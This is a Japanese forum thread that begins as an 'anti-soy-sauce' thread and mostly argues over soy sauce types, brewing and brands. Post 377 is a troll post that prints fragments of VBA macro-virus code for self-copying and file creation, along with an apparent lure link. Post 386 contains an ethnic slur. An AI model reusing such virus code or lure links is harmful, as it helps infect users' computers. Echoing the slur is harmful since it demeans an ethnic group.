醤油は味症が使う調味料

1 ：隠し味さん：05/02/20 14:08:41 ID:JVuMaltC

醤油なんて旨みのわからない香具師が使う調味料
醤油なんて使っていると知能が落ちる

など、ここはアンチ醤油スレです。
よろしくどうぞ！

343 ：隠し味さん：2007/03/01(木) 01:26:09 ID:NyP9ZvCw

醤油は全部塩で代用させてる
うちの嫁はバカだから、それでも原材料に醤油使ってる食品買ったりするけどな

344 ：隠し味さん：2007/03/01(木) 01:29:31 ID:EFEh5b8e

>>343
嫁なんかいないくせにw

345 ：隠し味さん：2007/03/01(木) 01:40:23 ID:NyP9ZvCw

命令をよく聞く実に忠実な嫁がいるぞ、バカだけどな
だが俺が頭良いぶん、ちょうど釣り合い取れてるのかもな

346 ：隠し味さん：2007/03/01(木) 21:46:38 ID:S4H2qXRp

>345
バカ同士お似合いってとこだろｗ

347 ：隠し味さん：2007/03/03(土) 10:29:29 ID:OQ2njYGo

醤油スレにも書いたけど・・・
醤油会社勤務だけど何か質問ある？
この際誤解があれば解いておきたい。

348 ：隠し味さん：2007/03/04(日) 00:09:20 ID:f6TWScSw

ずいぶん長寿でつね、ここは、

349 ：隠し味さん：2007/03/07(水) 00:15:53 ID:dOjXwNsp

>>347さん
丸大豆醤油は普通の脱脂大豆醤油を使った醤油と味的にどこが一番
違うのですか？
あと醸造期間が長いとやっぱり美味しくなるのですか？
煮込みに向いてるとか、刺身に向いてるとか教えてください。

350 ：隠し味さん：2007/03/07(水) 00:18:27 ID:YuTVlsg3

確かに醤油と味の素だったら、まだ味の素の方がましのような気がする。

351 ：隠し味さん：2007/03/07(水) 02:35:55 ID:A7+msSNM

普通に手に入る醤油ではヒゲタの本膳が味も香も最高だ
もちろん原料は脱脂加工大豆だ
丸大豆至上主義は誤りだ

352 ：隠し味さん：2007/03/22(木) 10:54:40 ID:a36IBY4S

ヒゲタの本膳は脱脂加工大豆を使うことにより、
原材料成分中のたんぱく質量を増加させ、アミノ酸由来のうま味を強化した強化醤油だ。
長期発酵させると色も香りも強くなるので温度管理槽で短期発酵させた速醸品だ。

いわば、従来からの醤油（濃口醤油）、薄口醤油、白醤油と並ぶ第四の醤油系調味料だ。
濃口醤油と並べて比べるものではない。

353 ：隠し味さん：2007/03/22(木) 21:05:07 ID:Zt12Nuvm

でも用途から言えば普通に濃口醤油だよ

354 ：隠し味さん：2007/03/23(金) 06:54:43 ID:5jQ5ogc3

舐めるとエロい気分になる醤油誕生！
http://c-au.2ch.net/test/-/news7/1171991823/

355 ：隠し味さん：2007/03/23(金) 07:41:04 ID:TLv9AYjy

本膳は煮炊きよりも刺身などのつけ醤油として開発されたんだよ。
出汁などで調整しないでもそのまま使って色・香り・うま味十分なものを、と。

煮炊きに使う場合は普通に出汁とって薄口なり濃口なり使ったほうがいい。

356 ：隠し味さん：2007/03/24(土) 01:56:16 ID:ni5lPX8G

>>355
決めつけは良くない

357 ：隠し味さん：2007/03/24(土) 12:16:39 ID:6ZWzowR/

>>356
ttp://www.higeta.co.jp/company/honzen.html

目的外利用への応用は悪い事じゃないけど、色をつけずに香りを重視したいなら白醤油、
淡い色合いと甘みを重視したいなら薄口醤油、長期醸造によるコクと深い色合いなら濃口と
それぞれ特徴があるのにそれを無視しちゃ遺憾。

358 ：隠し味さん：2007/03/25(日) 03:39:43 ID:1b4+IVTG

>>357
薄口醤油に甘みがあるだって？
味覚がおかしいんじゃないのか。お前。

359 ：隠し味さん：2007/03/25(日) 08:36:05 ID:KwOu1lJn

>>357
本膳の端麗な香と豊富なうま味成分は煮炊きものにも合うよ。
馬鹿じゃないの？

360 ：隠し味さん：2007/03/25(日) 09:24:30 ID:9JR52Vrk

>>358
真性の味覚音痴乙ｗ

薄口醤油は醸造工程の不足に対し米麹加えて甘味強化してるつーの。
鹸味ばっかり感じて他の味わからねーんだろ？ｗ

361 ：隠し味さん：2007/03/25(日) 13:03:44 ID:Lr7RWNlb

味覚音痴で結構、醤油大好きさ。

362 ：隠し味さん：2007/03/26(月) 00:52:22 ID:5EkAkOEr

>>357
リンク先読んだけど結局はおいしい濃口醤油を作りましたってこと。

つけ醤油のために開発されたということに惑わされて本膳が濃口醤油であるという本質を見失っていないか？

つけ醤油として旨ければ他の用途に使っても当然旨い。
本膳は香がすっきりしていて味に切れがあるから東京風の蕎麦つゆや天つゆにも相性がいい。

363 ：隠し味さん：2007/03/26(月) 03:06:56 ID:btl2B7Kv

> つけ醤油として旨ければ他の用途に使っても当然旨い。
新しい醤油を新しい使い道で利用することを誰も否定してないでしょ。

発酵と熟成というサイクルを2回ないし3回繰り返し味と香り、そして色調を調えていく濃口醤油にくらべ、
「香がすっきりしていて味に切れがある」そしてうま味が強い本膳は濃口醤油と本質的に別モンだっつーてるの。

364 ：隠し味さん：2007/03/26(月) 04:32:13 ID:2s/jEPxM

>>360
アル添の新式醸造と同じか。
ニセモノを平気で食う奴の気が知れないな。

365 ：隠し味さん：2007/03/26(月) 14:09:52 ID:zbZPEEpw

>>363
つまり改良された濃口醤油ってことだな

366 ：隠し味さん：2007/04/09(月) 13:46:30 ID:POM+l0Zj

age

367 ：隠し味さん：2007/04/10(火) 02:28:23 ID:kRdzABIm

>>363
本膳のラベルには「こいくちしょうゆ（本醸造）」と書かれているわけだが

368 ：隠し味さん：2007/04/10(火) 21:10:05 ID:uby1nnoa

>>367
食品の表示に関するガイドラインで他に分類のしようが無いだけだろ。
松田のマヨネーズがマヨネーズタイプにされたりするようなガイドラインだ、
根拠としては弱いな。

369 ：隠し味さん：2007/04/10(火) 21:36:50 ID:miXt4OK6

> 発酵と熟成というサイクルを2回ないし3回繰り返し味と香り、そして色調を調えていく濃口醤油にくらべ、
> 「香がすっきりしていて味に切れがある」そしてうま味が強い本膳は濃口醤油と本質的に別モンだっつーてるの。

こっちの方がもっと根拠弱くないか？

370 ：隠し味さん：2007/04/10(火) 23:08:46 ID:JmIxKfGp

和歌山の角長醤油ってどう？
醤油飲むくらい醤油好きなんだが。

371 ：隠し味さん：2007/04/18(水) 14:45:17 ID:vJ451AFt

タマスズ醤油ウマいよ！タマスズタマスズ！
玉鈴激ｳﾏｰ！

372 ：隠し味さん：2007/07/07(土) 20:10:22 ID:fjnEHUT0

醤油マンセー

373 ：隠し味さん：2007/08/01(水) 17:52:28 ID:VNrqBEe5

醤油だってこと

374 ：隠し味さん：2007/08/09(木) 09:10:53 ID:mpe9/QpY

俺ろのだけど醤油おいしいよ！

375 ：隠し味さんがガ蛾：2007/08/09(木) 09:16:42 ID:8JWsHoYn

しょうゆおいしいよね！

376 ：隠し味さん：2007/08/18(土) 00:34:35 ID:kNnNf4I1

4月7日放送のテレ朝の「食彩の王国」は見たかい？

377 ：隠し味さん：2007/08/27(月) 06:15:47 ID:Mf71Go/w ?PLT(12334)

>>1
僭越ながらこの男根様 ◆CHINPOGEDUめは、久々に有効なウイルスコードを入手致しました
脆弱なセキュリティソフトをお使いのＰＣ初心者様、けたたましい不快な警告音やＰＣの躍動をお楽しみくださいませ
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))

また、簡易的なものですがこのコードを無害化する方法を下記サイトにまとめておきました
http://oab.sytes.net:8010/~nusoku/secureguard.html
よろしければご活用くださいませ

378 ：隠し味さん：2007/08/27(月) 06:38:07 ID:pQRxzvJO

落ちないうちに突撃だ！！！

【魚介類】刺し身が嫌いな奴は味覚障害
http://news23.2ch.net/test/read.cgi/news/1188144265/

379 ：隠し味さん：2007/08/28(火) 20:26:01 ID:angQEYNt

>>370お土産に貰った和歌山の湯浅醤油は感動したよ
親子丼をあの醤油と水だけで作ったら凄いコクで美味しかった
義母も自分用に取り寄せたよ

その醤油も試してみたいな

380 ：隠し味さん：2007/11/23(金) 14:31:48 ID:ctr1dHMT

刺身にはしょうゆ

381 ：隠し味さん：2007/11/26(月) 14:39:02 ID:9NTl/o8r

醤油は何にでも合う調味料だろ･･･jk･･･

382 ：隠し味さん：2007/11/27(火) 17:31:34 ID:2YxSZaw3

こないだ初めてリアルで嫌醤油厨がいたけどマジで引いた…
寿司キライだって
どんな食生活してんだよ

383 ：隠し味さん：2007/11/28(水) 07:06:05 ID:gQa14ZA/

マジかよ(笑)
今や日本のみならず、調理済みの米国製レトルトのほぼ100%にも、醤油が入ってるぞ(もちろん隠し味としてレストランとかも)
マジ喰うものないじゃん

384 ：隠し味さん：2008/01/06(日) 06:09:19 ID:MAMROrO6

>>383
嘘つき。

385 ：隠し味さん：2008/01/16(水) 14:50:35 ID:i/lKu19D

ダードスレから記念カキコ

386 ：隠し味さん：2008/01/16(水) 23:54:50 ID:OnUM1UNf

>>384
無知ＷＷ
調べもせずに嘘呼ばわりか？まるでこんなアホスレ立てたチョンみたいだな
んで厳密に言えば100％ではないだろうからほぼと書いたけど、米国製の調理済みのレトルトの材料欄見て見ろ
有り得ない物にまで醤油がつかわれていて目から鱗になるぞ
パスタにピザにラザニアとかにも普通に入ってて広報曰わく｢味に深みがでる｣んだそうだ。

387 ：隠し味さん：2008/01/21(月) 11:58:39 ID:8iOEupyy

普通の醤油は製造時に加熱してるので、醤油の美味さの大半が死んでしまってる。
だから通なら醤油といえば生醤油。
ただし開封後は、冷蔵庫に入れて一ヶ月以内に使い切らないと腐る。

http://www.7dream.com/product/n/a01b48/g/540001001000000/p/1004199

388 ：隠し味さん：2008/02/23(土) 23:05:48 ID:cm/ItCYH

これは納得。

389 ：隠し味さん：2008/02/25(月) 02:45:47 ID:UGPf15SB

醤油を使うのは構わないが、出された料理の味も見ないでいきなり醤油をかける奴は100%味症。

390 ：小豆ですから ◆showv.e9BQ ：2008/02/26(火) 23:03:40 ID:ndqXi4nz

>>389
それには同意できる。
魚とかにダボダボかけてるのを見たら、そいつとはご飯食べたくなくなる。

391 ：隠し味さん：2008/03/01(土) 18:25:36 ID:y1fS4Tyr

>>389
同意。
その上料理した人に対して失礼だし。

392 ：隠し味さん：2008/03/30(日) 17:36:55 ID:3DxL3xFg

>>387　本当は（普通の）しょうゆはまずいって
本当に味わった上で言ってる人がそういうのを
食べてしまうと手放せなくなるんだろうなと思う。

私も味噌ではそれに近いものがあるしな…。